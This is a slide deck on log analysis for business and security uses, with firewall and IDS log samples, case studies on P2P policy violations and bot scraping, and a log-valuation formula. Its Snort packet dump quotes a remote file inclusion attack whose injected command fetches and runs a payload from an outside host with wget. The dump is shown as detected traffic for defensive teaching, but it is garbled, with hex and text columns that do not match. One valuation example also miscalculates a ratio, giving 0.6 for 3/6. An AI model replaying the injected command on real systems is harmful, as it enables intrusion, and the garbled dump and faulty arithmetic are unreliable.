Answering Business Questions With Logs

Toby Weir-Jones
VP, Product Development
BT Managed Security Solutions Group
Agenda

• Introduction to logs
• Typical logging: sources, parameters, volumes
• Traditional uses
• More sophisticated log analysis
• Tools of the trade
• Contemporary uses:
  – Solving a Customer Satisfaction Issue
  – Investigating a violation of Acceptable Use Policy
  – Finding bots harvesting all your web content
• A framework of logging valuation
• Summary & Conclusions
• Q&A
Introduction to Logs

• Transports vs. Content
  – syslog and its variants
  – SNMP
  – Vendor-specific schemes

• Typical parameters
  – Event type
  – Timestamp
  – Relevant additional values (source, user, quantity)

• Logging verbosity
  – Message rates by source
  – Message sizes
  – Network/disk overhead
Log Sources
Log Volumes

- Web apps: 1gb to 75gb
- Firewalls: 1gb to 100gb+
- Unix servers: 1mb to 300mb+
- Windows: 50mb to 1gb+

- Transaction rates and logging verbosity compound to drive huge volumes
<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Action</th>
<th>FW.Name</th>
<th>Direction</th>
<th>Source</th>
<th>Destination</th>
<th>Bytes</th>
<th>Rules</th>
<th>Protocol</th>
</tr>
</thead>
<tbody>
<tr>
<td>26Aug2001</td>
<td>20:26:02</td>
<td>drop</td>
<td>NFL-cp.NFL.gov</td>
<td>inbound</td>
<td>210.22.4.200</td>
<td>139.203.133.42</td>
<td>48</td>
<td>29</td>
<td>tcp/http</td>
</tr>
<tr>
<td>26Aug2001</td>
<td>20:26:02</td>
<td>drop</td>
<td>NFL-cp.NFL.gov</td>
<td>inbound</td>
<td>139.184.77.8</td>
<td>139.203.141.128</td>
<td>48</td>
<td>29</td>
<td>tcp/http</td>
</tr>
<tr>
<td>26Aug2001</td>
<td>20:26:02</td>
<td>drop</td>
<td>NFL-cp.NFL.gov</td>
<td>inbound</td>
<td>64.70.1.57</td>
<td>139.203.241.128</td>
<td>48</td>
<td>29</td>
<td>tcp/http</td>
</tr>
<tr>
<td>26Aug2001</td>
<td>20:26:03</td>
<td>drop</td>
<td>NFL-cp.NFL.gov</td>
<td>inbound</td>
<td>61.142.57.208</td>
<td>139.203.67.133</td>
<td>48</td>
<td>29</td>
<td>tcp/http</td>
</tr>
<tr>
<td>26Aug2001</td>
<td>20:26:03</td>
<td>drop</td>
<td>NFL-cp.NFL.gov</td>
<td>inbound</td>
<td>206.247.102.9</td>
<td>139.203.111.23</td>
<td>48</td>
<td>29</td>
<td>tcp/http</td>
</tr>
<tr>
<td>26Aug2001</td>
<td>20:26:03</td>
<td>drop</td>
<td>NFL-cp.NFL.gov</td>
<td>inbound</td>
<td>211.75.239.157</td>
<td>139.203.152.208</td>
<td>48</td>
<td>29</td>
<td>tcp/http</td>
</tr>
<tr>
<td>26Aug2001</td>
<td>20:26:03</td>
<td>drop</td>
<td>NFL-cp.NFL.gov</td>
<td>inbound</td>
<td>209.165.171.246</td>
<td>139.203.73.178</td>
<td>48</td>
<td>29</td>
<td>tcp/http</td>
</tr>
<tr>
<td>26Aug2001</td>
<td>20:26:03</td>
<td>drop</td>
<td>NFL-cp.NFL.gov</td>
<td>inbound</td>
<td>64.70.1.57</td>
<td>139.203.241.128</td>
<td>48</td>
<td>29</td>
<td>tcp/http</td>
</tr>
<tr>
<td>26Aug2001</td>
<td>20:26:03</td>
<td>drop</td>
<td>NFL-cp.NFL.gov</td>
<td>inbound</td>
<td>139.142.143.60</td>
<td>139.203.131.222</td>
<td>48</td>
<td>29</td>
<td>tcp/http</td>
</tr>
<tr>
<td>26Aug2001</td>
<td>20:26:03</td>
<td>drop</td>
<td>NFL-cp.NFL.gov</td>
<td>inbound</td>
<td>61.141.206.1</td>
<td>139.203.43.227</td>
<td>48</td>
<td>29</td>
<td>tcp/http</td>
</tr>
<tr>
<td>26Aug2001</td>
<td>20:26:03</td>
<td>drop</td>
<td>NFL-cp.NFL.gov</td>
<td>inbound</td>
<td>139.111.50.220</td>
<td>139.203.31.197</td>
<td>48</td>
<td>29</td>
<td>tcp/http</td>
</tr>
<tr>
<td>26Aug2001</td>
<td>20:26:04</td>
<td>drop</td>
<td>NFL-cp.NFL.gov</td>
<td>inbound</td>
<td>194.244.77.147</td>
<td>139.203.212.209</td>
<td>48</td>
<td>29</td>
<td>tcp/http</td>
</tr>
<tr>
<td>26Aug2001</td>
<td>20:26:04</td>
<td>drop</td>
<td>NFL-cp.NFL.gov</td>
<td>inbound</td>
<td>139.139.67.57</td>
<td>139.203.219.68</td>
<td>48</td>
<td>29</td>
<td>tcp/http</td>
</tr>
<tr>
<td>26Aug2001</td>
<td>20:26:04</td>
<td>drop</td>
<td>NFL-cp.NFL.gov</td>
<td>inbound</td>
<td>139.142.136.156</td>
<td>139.203.111.30</td>
<td>48</td>
<td>29</td>
<td>tcp/http</td>
</tr>
<tr>
<td>26Aug2001</td>
<td>20:26:04</td>
<td>drop</td>
<td>NFL-cp.NFL.gov</td>
<td>inbound</td>
<td>64.171.190.52</td>
<td>139.203.15.41</td>
<td>48</td>
<td>29</td>
<td>tcp/http</td>
</tr>
</tbody>
</table>
Log Samples: Snort IDS Alert & Packet Dump

[Classification: A Network Trojan was detected] [Priority: 1]
12/24-06:54:03.757015 66.147.xxx.yy:59330 -> 72.232.aa.bb:80
TCP TTL:50 TOS:0x0 ID:23969 IpLen:20 DgmLen:309 DF
***AP*** Seq: 0xB00D311F Ack: 0x6C3F770A Win: 0x1C84 TcpLen: 20

```
$ tcpdump -tttt -X -r /var/log/snort/tcpdump.log.1135358710

3251878904:3251879182(278) ack 1814956897 win 7300
0x0000:  4500 013e 60f0 4000 3206 c7e3 4293 7521  E..>`@.2...B.u!
0x0010:  48e8 1e4a e827 0050 c1d3 bbf8 6c2e 0b61  H..J.'.P....l..a
0x0020:  5018 1c84 e84c 0000 4745 5420 2f6d 6f64  P....GET./mod
0x0030:  756c 6573 2f63 6f70 7065 6e65 2f74 6865  ules/coppermine/
0x0040:  6d65 2e70 6870 7468 656d 6573 2f64 6566  themes/default/t
0x0050:  6174 2f74 6570 3f54 48 45 4d 45 44 49 42  _mtime/tp?THEME_DIR=http
0x0060:  3a2f 2f32 3039 2e31 3336 2ecc cc2e dddd  ://209.136.cc.dd
0x0070:  2f63 6d64 2e67 6966 3f26 6364 3d63 64  /cmd.gif?&cmd=cd
0x0080:  2532 302f 746d 703b 7767 6574 2532 3032  %20/tmp;wget%202
0x0090:  3039 2e31 3336 2ecc cc2e dddd 2f63 6261  09.136.cc.dd/cba
0x00a0:  633b 636f 6425 3230 3734 3425 3230  c;chmod%20744%20
0x00b0:  cbac; ./cbac;echo
0x00c0:  2532 3059 5959 3b65 6368 6f7c 2048 5450  %20YYY;echo|.HTTP
0x00d0:  2f31 2e 310d 0a48 6f73 743a 2037 322e  P/1.1..Host:.72.
0x00e0:  3233 322e aaaa 2ebb 34bb 0a55 7365 722d  232.aa.bb..User-
0x00f0:  4167 6e74 3a 204d 6f7a 6f77 3734 6f77  Agent:.Mozilla/4
0x0100:  2e30 2028 636f 6d70 3b2e 2f63 6261  0.(compatible;
0x0110:  6d65 2e70 6870 7468 656d 6573 2f74 6865  themes/default/t
0x0120:  6e65 6f70 3f54 48 45 4d 45 44 49 42  6e50?THEME_DIR=http
0x0130:  3a2f 2f32 3045 2035 2e31 0d0a 0d0a  s.NT.5.1;....
```
Log Samples: Windows XP
Traditional Uses

• Technical troubleshooting
  – File System Full
  – CPU utilization
  – Users performing bad commands
  – Broken network connections

• Authentication
  – Logins/logoffs
  – Privilege escalations
  – Invalid credentials/isolated object access violations

• Rudimentary activity tracking
  – Disconnect between user-perceived activities and log detail
  – Reassembling logs into a coherent flow is difficult
More Sophisticated Log Analysis

• Forensics
  – Reconstructing a sequence of actions to link them together
  – Defining standards for log capture and preservation
  – Integrity of archives is critical
  – Most systems auto-overwrite logs after time/size thresholds are met

• Attack detection
  – Real-time review of correlated network and host activity
  – Requires significant contextual knowledge
  – Lateral knowledge of typical behavior profiles is essential
Tools of the Trade

• Syslog, syslog-ng
  – Most common logging tools
  – Highly configurable
• Windows Event Logs
  – Application, System, & Security
  – Proprietary formats
• Vendor Consoles
  – Cisco, Checkpoint, everybody else
  – Log analysis systems
• Log Management
• SIEM
• Command-line tools
Contemporary Uses

• Three examples of making logs useful outside IT
  – Solving a Customer Satisfaction Issue (courtesy of Splunk)
  – Investigating a policy violation for HR
  – Confirming industrial espionage for Legal

• All three share certain common themes:
  – We used to measure them via “educated guesses” or indirect sampling
  – Measures of success were set as objectives to non-IT users
Solving a Customer Satisfaction Problem

• Premise: a customer reports a problem using your web application

• Tools: web server logs (accessed via Splunk)

• Approach:
  1. Isolate the customer’s explicit activity
  2. Look for surrounding conditions
  3. Identify root cause and assign to appropriate owner
Customer Satisfaction Problem – 2
Investigating a Policy Violation for HR

• Premise: An employee is suspected of using a P2P file sharing tool on the company network

• Tools: Network IDS, tcpdump, honeypot

• Approach:
1. Capture indicative network connection activity
2. Confirm source IP & MAC addresses belong to suspect PC
3. Isolate PC
4. Investigate content offline to determine response
Policy Violation – 2

Trace file, sanitized:

11:24:19.650034 IP x.10810 > y.34.233.22.8613: UDP, length: 25
11:24:19.666091 IP x.10810 > y.127.115.17.4197: UDP, length: 25
11:24:19.681433 IP x.10810 > y.76.27.4.4175: UDP, length: 25
11:24:19.681473 IP x.2587 > y.28.31.240.4865: UDP, length: 6
11:24:19.696907 IP x.2587 > y.162.178.102.4265: UDP, length: 6
11:24:20.946921 IP x.2587 > y.250.47.34.4665: UDP, length: 6
11:24:20.993871 IP x.2587 > y.135.32.97.580: UDP, length: 6
11:24:21.009621 IP x.2587 > y.149.102.1.4246: UDP, length: 6
11:24:29.681224 IP x.10810 > y.32.97.189.5312: UDP, length: 4
11:24:29.696903 IP x.10810 > y.10.34.181.7638: UDP, length: 4
11:26:20.291874 IP x.10810 > y.19.149.0.21438: UDP, length: 19

DHCP logs, sanitized:

ID,Date,Time,Description,IPAddress,HostName,MAC Address
00,07/21/06,19:42:47,Started,,
56,07/21/06,19:42:48,Authorization failure, stopped servicing,,production.com,,
55,07/21/06,19:50:52,Authorized(servicing),,production.com,,
10,07/22/06,22:19:56,Assign,x.2587,0013D30C227E,
31,07/22/06,22:19:56,DNS Update Failed,147.100.100.120,e2k7.,-1,
30,07/22/06,22:20:19,DNS Update Request,120.100.100.147,e2k7.,
12,07/22/06,22:20:19,Release,147.100.100.120,e2k7.,0013D30C227E,
31,07/22/06,22:20:19,DNS Update Failed,147.100.100.120,e2k7.,-1,
30,07/22/06,22:20:25,DNS Update Request,120.100.100.147,e2k7.,
10,07/22/06,22:20:25,Assign,147.100.100.120,e2k7.,0013D30C227E,
Documenting Industrial Espionage for Legal

• Premise: Operations believes competitors are mining full web catalog using bots or other malware

• Tools: firewall logs; web app logs; statistical tools

• Approach:
  1. Group raw logs into 10-minute intervals
  2. Examine data for indicators of non-human activity
  3. Create a statistical model of normal vs bot behavior
  4. Isolate explicit IPs which are bots, quantify their activity relative to normal users
## Industrial Espionage – 2

<table>
<thead>
<tr>
<th>Requests</th>
<th>Source IP</th>
<th>Start Time</th>
<th>End Time</th>
<th>Encoding</th>
<th>Connection</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026</td>
<td>x.y.56.149</td>
<td>5/26/2009 20:10</td>
<td>5/26/2009 20:19</td>
<td>-</td>
<td>close</td>
</tr>
<tr>
<td>1605</td>
<td>x.y.56.149</td>
<td>5/26/2009 22:00</td>
<td>5/26/2009 22:09</td>
<td>-</td>
<td>close</td>
</tr>
<tr>
<td>1474</td>
<td>x.y.56.149</td>
<td>5/26/2009 18:10</td>
<td>5/26/2009 18:19</td>
<td>-</td>
<td>close</td>
</tr>
<tr>
<td>1363</td>
<td>x.y.56.149</td>
<td>5/26/2009 23:00</td>
<td>5/26/2009 23:09</td>
<td>-</td>
<td>close</td>
</tr>
<tr>
<td>1024</td>
<td>x.y.56.149</td>
<td>5/26/2009 18:40</td>
<td>5/26/2009 18:49</td>
<td>-</td>
<td>close</td>
</tr>
</tbody>
</table>
Industrial Espionage – 3

- Start with an assumption: “No human user could submit 500 requests in 10 minutes”
- Yet 0.52% of observed traffic did!
- Identify threshold to get to a 1-in-1000 risk
Industrial Espionage – 4

• A combination of behavior types, frequencies, volumes, and predictability isolate a shortlist of bots

• Once identified, decide on countermeasures:
  – Block
  – Delay
  – Confuse
  – Reduce
  – Deflect

• Involve law enforcement? Depends on jurisdiction

• Be prepared for Cat-and-Mouse!
A Framework of Logging Valuation

Consider a simple linear equation:

- **A**: Value of asset (L/M/H)
- **B**: Customer-facing? (Y/N)
- **C**: Critical process? (Y/N)
- **D**: Expertise required to analyze? (L/M/H)
- **E**: Secured access? (Y/N)
- **F**: Integrity of archives? (L/M/H)

<table>
<thead>
<tr>
<th>Low</th>
<th>Med</th>
<th>High</th>
<th>Yes</th>
<th>No</th>
</tr>
</thead>
<tbody>
<tr>
<td>+1</td>
<td>+3</td>
<td>+5</td>
<td>+2</td>
<td>+0</td>
</tr>
</tbody>
</table>

- **G**: Assign a standard value to each point, as a summary cost for an incident investigation – likely US$25-$100k

\[ \frac{(A + B + C)}{(D + E + F)} \times G = \text{Annual value of logs} \]
Example #1

- **Standard cost unit:** US$30k
- **Active Directory servers (primary & backup):**
  - Value of Assets: H +5 (primary) / M +3 (backup)
  - Customer-facing: N +0 / N +0
  - Critical process: Y +2 / N +0
  - Expertise required: M +3 / M +3
  - Secured access: Y +2 / Y +2
  - Integrity of archives: H +5 / L +1

- **Calculation:**
  - Primary server = \((5+0+2) / (3+2+5) = 0.7 \times \$30k = \$21k\)
  - Backup server = \((3+0+0) / (3+2+1) = 0.6 \times \$30k = \$18k\)
Example #2:

- Standard cost unit: US$50k
- Enterprise Firewall Cluster (6 nodes):
  - Value of asset: H +5
  - Customer-facing: Y +2
  - Critical process: Y +2
  - Expertise required: H +5
  - Secured access: Y +2
  - Integrity of archives: L +1

- Calculation:
  - Each node: \(\frac{(5+2+2)}{(5+2+1)} = 1.125 \times 50k = 56.25k\)
  - BUT: Multiply by 6 nodes = $337.5k
Example #3

- Standard cost unit: US$20k
- Internal staging system:
  - Value of asset: L +1
  - Customer-facing: N +0
  - Critical process: N +0
  - Expertise required: H +5
  - Secured access: Y +2
  - Integrity of archives: L +1

- Calculation:
  - \((1+0+0) \div (5+2+1) = 0.125 * 20k = 2.5k\)
Reminders

• Outputs are an indicator of how to value logs from each asset; useful for prioritizing IT strategy

• Don’t overthink standard cost units
  – Relative values are more important than absolute amounts

• Differences between primary and backups are small!

• Coefficients can (and should!) be adjusted based on your experience; a useful quarterly exercise

• Demonstrates due diligence to auditors
Questions
Acknowledgments

• Splunk
• SecurityFocus
• Jpsdomain.org
• Ratemynetworkdiagram.com (user Bobmonkey)